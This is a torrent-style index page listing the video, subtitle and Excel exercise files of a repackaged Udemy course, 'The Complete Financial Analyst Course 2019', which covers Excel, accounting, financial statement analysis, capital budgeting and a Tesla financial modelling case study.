[FreeCourseLab.com] Udemy - The Complete Financial Analyst Course 2019

mp4   Hot：272   Size：9.07 GB   Created：2019-12-13 06:59:37   Update：2021-12-09 10:46:15  

Download link

小提示：当迅雷提示“下载出错”或“无法下载”等字样时，并非资源有问题，请更换 bitcomet(比特彗星) 即可下载，或者使用迅雷5。

File List

  • 42. Tesla practical case study - Building a financial planning model/3. Forecasting Tesla's expected deliveries.mp4 114.92 MB
    34. Financial Statement Analysis - Tesla exercise/3. Calculating and analyzing growth and profitability ratios.mp4 105.11 MB
    35. Working capital management/2. The importance of working capital optimization case study.mp4 89.97 MB
    1. Welcome! Course Introduction/1. What Does the Course Cover.mp4 76.23 MB
    35. Working capital management/4. Trade receivables management.mp4 76.15 MB
    34. Financial Statement Analysis - Tesla exercise/4. Calculating and analyzing liquidity ratios.mp4 74.96 MB
    31. Financial Statement Analysis - An Introduction/2. Finding, Downloading and Going Through the Annual Report of P&G.mp4 74.9 MB
    30. Advanced Accounting - Raising equity, types of equity, and dividend payments/2. Raising equity in different stages of a company's lifecycle.mp4 71.95 MB
    20. Accounting - Practical Exercise The Accounting Transactions of a Lemonade Stand/1. Case Study - The Accounting Transactions of a Lemonade Stand (14).mp4 68.36 MB
    14. Accounting - Introduction to Accounting & Bookkeeping/2. What is Accounting and Why Do You Need It.mp4 64.05 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/13. Index, Match, and Their Combination - The Perfect Substitute for Vlookup.mp4 61.76 MB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/7. Using Lookup Functions (Vlookup) to Fill the Database Sheet.mp4 61.54 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/12. Excel's Lookup Functions Vlookup & Hlookup Made Easy.mp4 60.26 MB
    20. Accounting - Practical Exercise The Accounting Transactions of a Lemonade Stand/4. Case Study - The Accounting Transactions of a Lemonade Stand (44).mp4 58.94 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/25. Conditional Formatting.mp4 58.7 MB
    13. Modeling in Excel - We are almost there! Completing the 3-statement model/5. Calculating Cash flows and completing the model.mp4 57.47 MB
    29. Advanced Accounting - Using leverage/1. What is leverage and why companies use financial leverage.mp4 57.43 MB
    42. Tesla practical case study - Building a financial planning model/13. Building a fixed asset roll forward estimating Capex.mp4 56.51 MB
    42. Tesla practical case study - Building a financial planning model/20. Forecasting Unlevered Free Cash Flow.mp4 55.98 MB
    40. Capital Budgeting - Basic notions/5. Cost of Equity.mp4 55.85 MB
    33. Financial Statement Analysis - Practical Case Study Analyzing P&G's Financials/1. Case Study - Calculating Ratios and Analyzing P&G's Financials (12).mp4 55.77 MB
    30. Advanced Accounting - Raising equity, types of equity, and dividend payments/1. The different types of equity.mp4 55.22 MB
    40. Capital Budgeting - Basic notions/9. Modeling Future Cash Flows.mp4 54.4 MB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/8. GetPivotData is great! Extracting data from the Master Pivot Table.mp4 54.17 MB
    42. Tesla practical case study - Building a financial planning model/14. Building a fixed asset roll forward D&A schedule.mp4 54.16 MB
    20. Accounting - Practical Exercise The Accounting Transactions of a Lemonade Stand/3. Case Study - The Accounting Transactions of a Lemonade Stand (34).mp4 53.36 MB
    44. PowerPoint - Tips & Tricks That Will Transform You Into An Advanced User/7. Practical Exercise - Creating an Organisational Chart.mp4 51.61 MB
    42. Tesla practical case study - Building a financial planning model/26. Bridging Unlevered Free Cash Flow to Net Cash Flow.mp4 50.67 MB
    21. Accounting - Preparing a Cash Flow Statement Understanding Cash Flow Analysis/5. Calculating Cash Flow in practice A complete example.mp4 50.62 MB
    35. Working capital management/7. Inventory optimization techniques.mp4 50.48 MB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/9. Using Index & Match as a Substitute for Vlookup.mp4 49.65 MB
    39. Finance 101 - Loan Calculations/2. Calculating a Complete Loan Schedule.mp4 49.62 MB
    22. Accounting - The Importance of Timing/4. The Four Type of Accruals Arising in Accounting Transactions.mp4 49.58 MB
    12. Modeling in Excel - Let's build a flexible model with multiple scenarios/1. Calculating historical percentage ratios and use Index and Match for scenarios.mp4 49.35 MB
    35. Working capital management/9. Working capital optimization - a roadmap.mp4 48.19 MB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/8. Use Sumif to Complete the Database Sheet.mp4 47.93 MB
    13. Modeling in Excel - We are almost there! Completing the 3-statement model/2. Building a Financial liabilities schedule.mp4 47.55 MB
    41. Capital Budgeting - A Complete Case Study/4. Preparing a fixed asset rollforward schedule.mp4 47.37 MB
    42. Tesla practical case study - Building a financial planning model/6. Calculating automotive revenue.mp4 46.56 MB
    20. Accounting - Practical Exercise The Accounting Transactions of a Lemonade Stand/2. Case Study - The Accounting Transactions of a Lemonade Stand (24).mp4 46.42 MB
    9. Microsoft Excel - Working with Pivot Tables in Excel/4. Additional Techniques That Will Ease Your Work with Pivot Tables.mp4 45.96 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/18. Saving Time in Excel and Doing Everything Faster by Using Excel Shortcuts.mp4 45.95 MB
    6. Microsoft Excel - Financial functions in Excel/1. Discounting cash flows in Microsoft Excel.mp4 45.68 MB
    42. Tesla practical case study - Building a financial planning model/21. Forecasting other assets.mp4 45.31 MB
    9. Microsoft Excel - Working with Pivot Tables in Excel/6. Welcome to the Future - Pivot Table Slicers.mp4 45.22 MB
    15. Accounting - Types of revenues, costs, assets, and liabilities/5. Types of expenses.mp4 45.17 MB
    30. Advanced Accounting - Raising equity, types of equity, and dividend payments/3. The types of dividends companies pay to shareholders.mp4 44.87 MB
    2. Microsoft Excel - Quick Introduction/4. How to Make Your Spreadsheets Look Professional.mp4 44.83 MB
    12. Modeling in Excel - Let's build a flexible model with multiple scenarios/4. Calculating historical DSO, DPO, DIO, Other assets %, and Other liabilities %.mp4 44.5 MB
    30. Advanced Accounting - Raising equity, types of equity, and dividend payments/5. What are share repurchases and why companies do them.mp4 43.91 MB
    11. Modeling in Excel - Building a complete 3-statement model/7. Using Index, Match, Match to fill in the output Balance sheet.mp4 43.49 MB
    42. Tesla practical case study - Building a financial planning model/24. Modeling Tesla's financing needs in the forecast period.mp4 42.38 MB
    42. Tesla practical case study - Building a financial planning model/5. Estimating an average selling price of Tesla vehicles.mp4 41.93 MB
    13. Modeling in Excel - We are almost there! Completing the 3-statement model/1. Building a Fixed asset roll forward.mp4 40.93 MB
    42. Tesla practical case study - Building a financial planning model/23. Completing Unlevered Free Cash Flow.mp4 40.9 MB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/12. This is how the report can be used in practice by high-level executives.mp4 40.84 MB
    41. Capital Budgeting - A Complete Case Study/10. Estimating cost of equity.mp4 40.38 MB
    15. Accounting - Types of revenues, costs, assets, and liabilities/7. Depreciation & Amortization.mp4 40.13 MB
    19. Accounting - The Core Principles of Accounting/5. How to Calculate Depreciation Expense.mp4 40.12 MB
    6. Microsoft Excel - Financial functions in Excel/3. Using the PMT function to create a complete loan schedule.mp4 40.07 MB
    16. Accounting - Revenue recognition/5. A practical example.mp4 39.52 MB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/2. Working with an SAP data extraction.mp4 39.19 MB
    25. Advanced Accounting - Fixed Assets/5. The revaluation model.mp4 39.06 MB
    9. Microsoft Excel - Working with Pivot Tables in Excel/2. Creating a Pivot Table Choosing Row and Column Parameters.mp4 38.94 MB
    28. Advanced Accounting - Leasing Liabilties/2. Solving a complete leasing exercise.mp4 38.17 MB
    41. Capital Budgeting - A Complete Case Study/2. Organizing inputs in the Drivers sheet.mp4 38.16 MB
    25. Advanced Accounting - Fixed Assets/6. The revaluation model - practical exercise.mp4 37.99 MB
    40. Capital Budgeting - Basic notions/4. Calculating Present and Future Value.mp4 37.51 MB
    33. Financial Statement Analysis - Practical Case Study Analyzing P&G's Financials/2. Case Study - Calculating Ratios and Analyzing P&G's Financials (22).mp4 36.92 MB
    32. Financial Statement Analysis - Subtleties/5. Using Accounting Ratios to Assess Business Performance.mp4 36.81 MB
    11. Modeling in Excel - Building a complete 3-statement model/1. Introduction to the Exercise.mp4 36.65 MB
    13. Modeling in Excel - We are almost there! Completing the 3-statement model/3. Building an Equity schedule.mp4 36.56 MB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/10. Combining Slicers and GetPivotData The key to our success.mp4 36.41 MB
    9. Microsoft Excel - Working with Pivot Tables in Excel/5. One of the Most Useful Excel Functions - GetPivotData.mp4 36.27 MB
    12. Modeling in Excel - Let's build a flexible model with multiple scenarios/3. Building a flexible model with Vlookup & Columns.mp4 36.26 MB
    30. Advanced Accounting - Raising equity, types of equity, and dividend payments/4. Dividend payments - a timeline.mp4 36.18 MB
    30. Advanced Accounting - Raising equity, types of equity, and dividend payments/6. The idea behind stock splits.mp4 36.05 MB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/11. Getting fancy with Excel slicers.mp4 35.81 MB
    25. Advanced Accounting - Fixed Assets/4. Intangible assets with finite life vs. Intangible assets with infinite life.mp4 35.29 MB
    41. Capital Budgeting - A Complete Case Study/3. Modeling expected savings - Building cars in Italy vs. Building cars in Vietnam.mp4 34.75 MB
    42. Tesla practical case study - Building a financial planning model/12. Forecasting operating expenses.mp4 34.49 MB
    29. Advanced Accounting - Using leverage/2. The implications of using excessive leverage.mp4 34.48 MB
    43. PowerPoint - Introduction to PowerPoint/2. The Structure of the PowerPoint Ribbon.mp4 34.23 MB
    41. Capital Budgeting - A Complete Case Study/12. Performing sensitivity analysis and wrapping up the Case Study.mp4 34.12 MB
    43. PowerPoint - Introduction to PowerPoint/11. Using Slide Masters.mp4 34.03 MB
    35. Working capital management/3. Overtrading vs. excessive investment.mp4 33.12 MB
    14. Accounting - Introduction to Accounting & Bookkeeping/1. Accounting The Science Behind Financial Figures.mp4 32.89 MB
    8. Microsoft Excel - Building Professional Charts in Excel/4. Making Your Excel Charts Sexier - Proven Tips.mp4 32.7 MB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/11. Mapping the Rows in the Database Sheet.mp4 32.6 MB
    16. Accounting - Revenue recognition/3. Revenue recognition criteria - technical.mp4 32.24 MB
    11. Modeling in Excel - Building a complete 3-statement model/8. Adding the forecast period.mp4 32.15 MB
    32. Financial Statement Analysis - Subtleties/2. First Steps in Financial Statement Analysis.mp4 32.03 MB
    14. Accounting - Introduction to Accounting & Bookkeeping/4. An Introduction to Financial Accounting.mp4 31.94 MB
    35. Working capital management/6. Economic order quantity (EOQ).mp4 31.85 MB
    15. Accounting - Types of revenues, costs, assets, and liabilities/8. Types of assets.mp4 31.78 MB
    21. Accounting - Preparing a Cash Flow Statement Understanding Cash Flow Analysis/4. Cash Flow computations - The Indirect method.mp4 31.39 MB
    35. Working capital management/5. Re-order level.mp4 31.31 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/4. Key Excel Functions Count, Counta, Countif, Countifs.mp4 31.21 MB
    1. Welcome! Course Introduction/3. The Best Way to Take This Course.mp4 31.21 MB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/7. What Is Default Risk and How Does a Bank Account For It.vtt 31.18 MB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/3. Preliminary mapping of the data extraction.mp4 31.17 MB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/7. What Is Default Risk and How Does a Bank Account For It.mp4 31.17 MB
    42. Tesla practical case study - Building a financial planning model/1. Organizing external inputs in a 'Drivers' sheet.mp4 31.01 MB
    41. Capital Budgeting - A Complete Case Study/8. The project's cash flow calculation.mp4 30.85 MB
    6. Microsoft Excel - Financial functions in Excel/4. Date functions in Excel.mp4 30.81 MB
    11. Modeling in Excel - Building a complete 3-statement model/2. Let's create a mapping of financials.mp4 30.73 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/3. Key Excel Functions Sum, Sumif, Sumifs.mp4 30.69 MB
    11. Modeling in Excel - Building a complete 3-statement model/3. Building an output P&L sheet.mp4 30.55 MB
    12. Modeling in Excel - Let's build a flexible model with multiple scenarios/5. Forecasting DSO, DPO, DIO, Other assets and Other liabilities.mp4 30.53 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/6. Key Excel Functions Left, Right, Mid, Upper, Lower, Proper, Concatenate, &.mp4 30.42 MB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/14. Populate the P&L Sheet with Sumif.mp4 30.23 MB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/16. Calculating Growth Rates in Excel.mp4 29.98 MB
    38. Finance 101 - The Value of Cash Flows with Different Timing/1. Calculating the Present Value of Future Cash Flows.mp4 29.79 MB
    43. PowerPoint - Introduction to PowerPoint/4. Learn How to Insert Objects in PowerPoint.mp4 29.73 MB
    11. Modeling in Excel - Building a complete 3-statement model/6. Building an output Balance sheet.mp4 29.49 MB
    43. PowerPoint - Introduction to PowerPoint/8. How to Edit Shapes in Your Presentation.mp4 29.17 MB
    15. Accounting - Types of revenues, costs, assets, and liabilities/9. Asset categories - practical example.mp4 29.13 MB
    38. Finance 101 - The Value of Cash Flows with Different Timing/2. A Tool That Helps Us Decide Whether a Project Is Feasible Net Present Value.mp4 29.12 MB
    24. Advanced Accounting - Inventory/3. Cost flow methods.mp4 28.71 MB
    32. Financial Statement Analysis - Subtleties/3. Horizontal vs. Vertical Financial Statement Analysis.mp4 28.21 MB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/3. Understand Your Data Source Before You Start Working on It.mp4 28.11 MB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/15. Learn How to Find Mistakes with Countif.mp4 27.85 MB
    42. Tesla practical case study - Building a financial planning model/8. Calculating automotive gross profit.mp4 27.78 MB
    21. Accounting - Preparing a Cash Flow Statement Understanding Cash Flow Analysis/1. Calculating Cash Flows - Understand if a business makes or burns cash.mp4 27.66 MB
    17. Accounting - Cost recognition/2. Technical aspects of cost recognition.mp4 27.66 MB
    8. Microsoft Excel - Building Professional Charts in Excel/7. How to Represent Trends with Sparklines.mp4 27.55 MB
    15. Accounting - Types of revenues, costs, assets, and liabilities/10. Types of liabilities.mp4 27.49 MB
    31. Financial Statement Analysis - An Introduction/1. What is a 10-K Report and Why Is It important for Investors.mp4 27.35 MB
    11. Modeling in Excel - Building a complete 3-statement model/5. Calculating percentage variances and applying conditional formatting.mp4 27.21 MB
    40. Capital Budgeting - Basic notions/6. Project-specific Beta.mp4 27.2 MB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/5. Improving the layout and appearance of the FMCG report.mp4 27.13 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/8. Using Absolute and Relative Cell References.mp4 27.03 MB
    22. Accounting - The Importance of Timing/2. Timing of Income Principles of Revenue Recognition.mp4 26.87 MB
    42. Tesla practical case study - Building a financial planning model/11. Calculating 'energy' and 'services' gross profit and cost of sales.mp4 26.81 MB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/1. Introduction to the Case Study.mp4 26.74 MB
    14. Accounting - Introduction to Accounting & Bookkeeping/3. The Importance of Bookkeeping - Good Accounting Records Are Essential.mp4 26.68 MB
    24. Advanced Accounting - Inventory/1. The different types of Inventory we can have.mp4 26.66 MB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/4. Ordering the Source Worksheet.mp4 26.57 MB
    15. Accounting - Types of revenues, costs, assets, and liabilities/3. Types of revenues.mp4 26.54 MB
    23. Advanced Accounting - Trade receivables/2. What if clients do not pay on time.mp4 26.47 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/20. Perform Sensitivity Analysis with Excel's Data Tables Functionality.mp4 26.23 MB
    8. Microsoft Excel - Building Professional Charts in Excel/3. Modifying Excel Charts - The Easy Way.mp4 26.04 MB
    44. PowerPoint - Tips & Tricks That Will Transform You Into An Advanced User/8. COURSE CHALLENGE - Part 4.mp4 26 MB
    26. Advanced Accounting - Trade payables/3. Why use e-invoicing.mp4 25.92 MB
    31. Financial Statement Analysis - An Introduction/3. What is the Role of Auditing Firms and What Are the Benefits of an Audit.mp4 25.84 MB
    27. Advanced Accounting - Financial liabilities/3. Debt covenants.mp4 25.78 MB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/8. Corporate Loan Specifics.mp4 25.76 MB
    1. Welcome! Course Introduction/2. Everything We Will Learn Has a Practical Application.mp4 25.7 MB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/13. A Practical Example of Professional Formatting in Excel.mp4 25.42 MB
    3. Microsoft Excel - Useful Tools/9. A Quick Introduction to Excel's Pivot Tables.mp4 25.37 MB
    41. Capital Budgeting - A Complete Case Study/1. An introduction to the Case Study.mp4 25.31 MB
    42. Tesla practical case study - Building a financial planning model/10. Forecasting 'energy' and 'services' revenue.mp4 25.29 MB
    18. Accounting - Understanding the Big Picture Why, What, When, and How Much/2. The Expense Recognition Principle - When to Recognize Expenses.mp4 25.24 MB
    23. Advanced Accounting - Trade receivables/1. Why a company needs to pay attention to trade receivables.mp4 25.23 MB
    23. Advanced Accounting - Trade receivables/3. How to handle non-paying customers A case-study.mp4 24.94 MB
    43. PowerPoint - Introduction to PowerPoint/3. General Considerations About Slide Structure.mp4 24.65 MB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/5. Create a Code The Best Way to Organize Your Data and Work Efficiently with It.mp4 24.51 MB
    19. Accounting - The Core Principles of Accounting/1. The Accounting Equation and Its Importance.mp4 24.48 MB
    18. Accounting - Understanding the Big Picture Why, What, When, and How Much/1. The Revenue Recognition Principle - Why Is it so Important.mp4 24.37 MB
    40. Capital Budgeting - Basic notions/8. The Different Cash Flow Types in a Capital Budgeting Exercise.mp4 24.31 MB
    25. Advanced Accounting - Fixed Assets/3. Fair value accounting.mp4 24.26 MB
    18. Accounting - Understanding the Big Picture Why, What, When, and How Much/3. Historical Cost vs. Fair Value Accounting.mp4 24.24 MB
    39. Finance 101 - Loan Calculations/1. Using Annuities.mp4 24.24 MB
    19. Accounting - The Core Principles of Accounting/6. The Double-Entry Principle - The Core Principle of Bookkeeping.mp4 24.09 MB
    44. PowerPoint - Tips & Tricks That Will Transform You Into An Advanced User/5. PowerPoint's Smart Art Feature Offers Great Return for Your Time.vtt 24.09 MB
    44. PowerPoint - Tips & Tricks That Will Transform You Into An Advanced User/5. PowerPoint's Smart Art Feature Offers Great Return for Your Time.mp4 24.09 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/20. Find and Replace - References.mp4 24.05 MB
    11. Modeling in Excel - Building a complete 3-statement model/4. Filling in the output P&L sheet with historical financials.mp4 23.91 MB
    15. Accounting - Types of revenues, costs, assets, and liabilities/11. Liability categories - practical example.mp4 23.85 MB
    16. Accounting - Revenue recognition/2. The importance of timing when recognizing revenues.mp4 23.47 MB
    35. Working capital management/1. Introduction.mp4 23.42 MB
    31. Financial Statement Analysis - An Introduction/1. What is a 10-K Report and Why Is It important for Investors.vtt 23.3 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/16. A Useful Tool for Financial Analysis - The Rank Function.mp4 23.24 MB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/11.1 10. Exercise - Build an FMCG Model_Complete.xlsx.xlsx 22.82 MB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/12.1 10. Exercise - Build an FMCG Model_Complete.xlsx.xlsx 22.81 MB
    43. PowerPoint - Introduction to PowerPoint/6. Add Frequently Used Buttons to the Quick Access Toolbar.mp4 22.78 MB
    6. Microsoft Excel - Financial functions in Excel/2. Calculating Internal Rate of Return (IRR) in Excel.mp4 22.77 MB
    2. Microsoft Excel - Quick Introduction/2. Excel Made Easy A Beginner's Guide to Excel Spreadsheets.mp4 22.75 MB
    41. Capital Budgeting - A Complete Case Study/11. Discounting project cash flows.mp4 22.57 MB
    26. Advanced Accounting - Trade payables/1. How we account for trade payables.mp4 22.53 MB
    8. Microsoft Excel - Building Professional Charts in Excel/2. Beginner's Guide to Inserting Charts in Excel.mp4 22.26 MB
    44. PowerPoint - Tips & Tricks That Will Transform You Into An Advanced User/2. Join Shapes Together By Using Connector Lines.mp4 22.25 MB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/4. Creating an output structure of the FMCG model.mp4 22.18 MB
    41. Capital Budgeting - A Complete Case Study/6. Debt repayment and interest expenses calculation.mp4 22.14 MB
    42. Tesla practical case study - Building a financial planning model/22. Forecasting other liabilities.mp4 22.05 MB
    2. Microsoft Excel - Quick Introduction/1. Microsoft Excel The World's #1 Office Software.mp4 22.04 MB
    2. Microsoft Excel - Quick Introduction/10. A Beginner's Introduction to Excel Functions.mp4 21.92 MB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/7. Creating a Master Pivot Table The main data source for the FMCG report.mp4 21.78 MB
    15. Accounting - Types of revenues, costs, assets, and liabilities/1. The different types of accounting standards.mp4 21.66 MB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/10. The Mapping Exercise.mp4 21.62 MB
    9. Microsoft Excel - Working with Pivot Tables in Excel/3. Design the Layout and Format of Your Pivot Tables.mp4 21.51 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/2. Macros Are a Great Timesaver! Here's Why..mp4 21.4 MB
    19. Accounting - The Core Principles of Accounting/3. T-Accounts The Best Way to Understand Debits and Credits.mp4 21.38 MB
    42. Tesla practical case study - Building a financial planning model/4. Comparing delivery figures with the ones of industry peers.mp4 20.98 MB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/12. Building the Structure of the P&L Sheet.mp4 20.87 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/5. The Secret to Faster Scrolling in Excel.mp4 20.84 MB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/8.1 6. Exercise - Build an FMCG Model_GETPIVOTDATA.xlsx.xlsx 20.81 MB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/7.1 5. Exercise - Build an FMCG Model_Creating a Pivot Table.xlsx.xlsx 20.81 MB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/10.1 8. Exercise - Build an FMCG Model_Inserting Slicers.xlsx.xlsx 20.78 MB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/6. Learn How to Create a Database.mp4 20.74 MB
    25. Advanced Accounting - Fixed Assets/1. The different types of fixed assets.mp4 20.71 MB
    27. Advanced Accounting - Financial liabilities/2. Amortizing a loan.mp4 20.65 MB
    40. Capital Budgeting - Basic notions/2. When Do We Use Capital Budgeting.mp4 20.52 MB
    34. Financial Statement Analysis - Tesla exercise/5. Calculating and analyzing solvency ratios.mp4 20.03 MB
    21. Accounting - Preparing a Cash Flow Statement Understanding Cash Flow Analysis/2. The three parts of Cash Flow statements explained.mp4 20 MB
    43. PowerPoint - Introduction to PowerPoint/7. How to Easily Align Objects in PowerPoint.mp4 19.98 MB
    43. PowerPoint - Introduction to PowerPoint/9. How to Format Text Boxes in a PowerPoint Presentation.mp4 19.88 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/17. Create Flexible Financial Models with Choose.mp4 19.85 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/6. Be even quicker F5 + Enter.mp4 19.79 MB
    21. Accounting - Preparing a Cash Flow Statement Understanding Cash Flow Analysis/3. Cash Flow computations - The Direct method.mp4 19.72 MB
    35. Working capital management/8. Trade payables management.mp4 19.27 MB
    42. Tesla practical case study - Building a financial planning model/19. Calculating investments in working capital.mp4 19.05 MB
    40. Capital Budgeting - Basic notions/3. The Time Value of Money in a Capital Budgeting Setting.mp4 18.91 MB
    16. Accounting - Revenue recognition/4. Potential conflicts of interest when recognizing revenue.mp4 18.78 MB
    33. Financial Statement Analysis - Practical Case Study Analyzing P&G's Financials/3. COURSE CHALLENGE - Part 2.mp4 18.74 MB
    15. Accounting - Types of revenues, costs, assets, and liabilities/4. Types of revenues - exercise.mp4 18.61 MB
    41. Capital Budgeting - A Complete Case Study/9. Calculating WACC (Weighted Average Cost of Capital).mp4 18.53 MB
    32. Financial Statement Analysis - Subtleties/1. Financial Statement Analysis - A Natural Continuation of Financial Accounting.mp4 18.45 MB
    43. PowerPoint - Introduction to PowerPoint/1. Microsoft PowerPoint The Most Popular Presentation Software for the Office.mp4 18.4 MB
    42. Tesla practical case study - Building a financial planning model/18. Fill in the P&L output sheet.mp4 18.35 MB
    41. Capital Budgeting - A Complete Case Study/5. Calculating the cash impact of extra working capital required.mp4 18.35 MB
    34. Financial Statement Analysis - Tesla exercise/1. What you will see next in this section.mp4 18.34 MB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/6. Inserting formulas and automating calculations.mp4 18.09 MB
    35. Working capital management/10. Symptoms of inefficient working capital - Trade payables.mp4 17.94 MB
    15. Accounting - Types of revenues, costs, assets, and liabilities/6. Income taxes.mp4 17.9 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/24. The Power of F2.mp4 17.74 MB
    25. Advanced Accounting - Fixed Assets/7. Intangible assets created internally.mp4 17.69 MB
    42. Tesla practical case study - Building a financial planning model/9. Calculating automotive cost of sales.mp4 17.53 MB
    42. Tesla practical case study - Building a financial planning model/16. Calculating DSO, DIO, DPO.mp4 17.51 MB
    2. Microsoft Excel - Quick Introduction/3. Data Entry Techniques in Excel.mp4 17.36 MB
    24. Advanced Accounting - Inventory/2. The connection between Cost of Goods Sold and Inventory.mp4 17.24 MB
    42. Tesla practical case study - Building a financial planning model/7. Peer comparison Gross profit %.mp4 17.19 MB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/5. What Is Libor and What Purpose Does It Serve.mp4 17.13 MB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/6. The Difference Between Fixed and Variable Interest Rates.mp4 17.02 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/1. Key Excel Functions If.mp4 16.66 MB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/4. The Components Forming Interest Rates in Real Life.mp4 16.63 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/16. How to Add a Drop-down List in Excel.mp4 16.3 MB
    19. Accounting - The Core Principles of Accounting/2. Elements of the Accounting System General Ledger.mp4 16.1 MB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/1. Finance 101 Important Financial Principles That You Will Need.mp4 16.09 MB
    12. Modeling in Excel - Let's build a flexible model with multiple scenarios/2. Building a flexible model with Choose & Match.mp4 16.06 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/18. Goal Seek Will Help You Find the Result You Are Looking For.mp4 16.02 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/8. Working with text in Excel.mp4 16.01 MB
    42. Tesla practical case study - Building a financial planning model/2. The input data we will work with.mp4 15.8 MB
    22. Accounting - The Importance of Timing/3. Timing of Expenses Principles of Cost Recognition.mp4 15.79 MB
    40. Capital Budgeting - Basic notions/7. The Weighted Average Cost of Capital (WACC).mp4 15.72 MB
    43. PowerPoint - Introduction to PowerPoint/5. Shortcuts Allow Us To Be Much Faster When Working in PowerPoint.mp4 15.51 MB
    23. Advanced Accounting - Trade receivables/4. A technique to collect trade receivables sooner.mp4 15.44 MB
    31. Financial Statement Analysis - An Introduction/4. Indispensable Tools for Financial Statement Analysis.mp4 15.33 MB
    3. Microsoft Excel - Useful Tools/7. Using Excel's Freeze Panes to Handle Large Datasets.mp4 15.25 MB
    13. Modeling in Excel - We are almost there! Completing the 3-statement model/4. Preparing a Cash flow structure.mp4 15.2 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/12. How to Create Dynamic Names in Excel Spreadsheets.mp4 15.15 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/5. Key Excel Functions Average & Averageif.mp4 15.12 MB
    9. Microsoft Excel - Working with Pivot Tables in Excel/1. Pivot Tables - Excel's Dynamic and Interactive Tables.mp4 15.06 MB
    15. Accounting - Types of revenues, costs, assets, and liabilities/12. Equity.mp4 15.02 MB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/5.1 3. Exercise - Build an FMCG Model_Formatting.xlsx.xlsx 14.91 MB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/6.1 4. Exercise - Build an FMCG Model_Adding Calculations.xlsx.xlsx 14.91 MB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/4.1 2. Exercise - Build an FMCG Model_Structure.xlsx.xlsx 14.91 MB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/3.1 1. Exercise - Build an FMCG Model_Mapping.xlsx.xlsx 14.89 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/19. Multiply by 1.mp4 14.83 MB
    27. Advanced Accounting - Financial liabilities/1. The difference between debt and equity.mp4 14.8 MB
    42. Tesla practical case study - Building a financial planning model/25. Calculating Net income.mp4 14.79 MB
    2. Microsoft Excel - Quick Introduction/11. Work Efficiently by Using Cut, Copy, and Paste.mp4 14.47 MB
    2. Microsoft Excel - Quick Introduction/8. Excel Formulas for Beginners.mp4 14.45 MB
    34. Financial Statement Analysis - Tesla exercise/2. How to download Tesla's historical financials.mp4 14.41 MB
    9. Microsoft Excel - Working with Pivot Tables in Excel/8. COURSE CHALLENGE - Part 1.mp4 14.39 MB
    2. Microsoft Excel - Quick Introduction/13. Pasting Values, Formulas and Formats with Paste Special.mp4 14.18 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/23. Beauty Saving - The Professional Way of Saving Files.mp4 14.03 MB
    41. Capital Budgeting - A Complete Case Study/7. The project's P&L sheet.mp4 13.94 MB
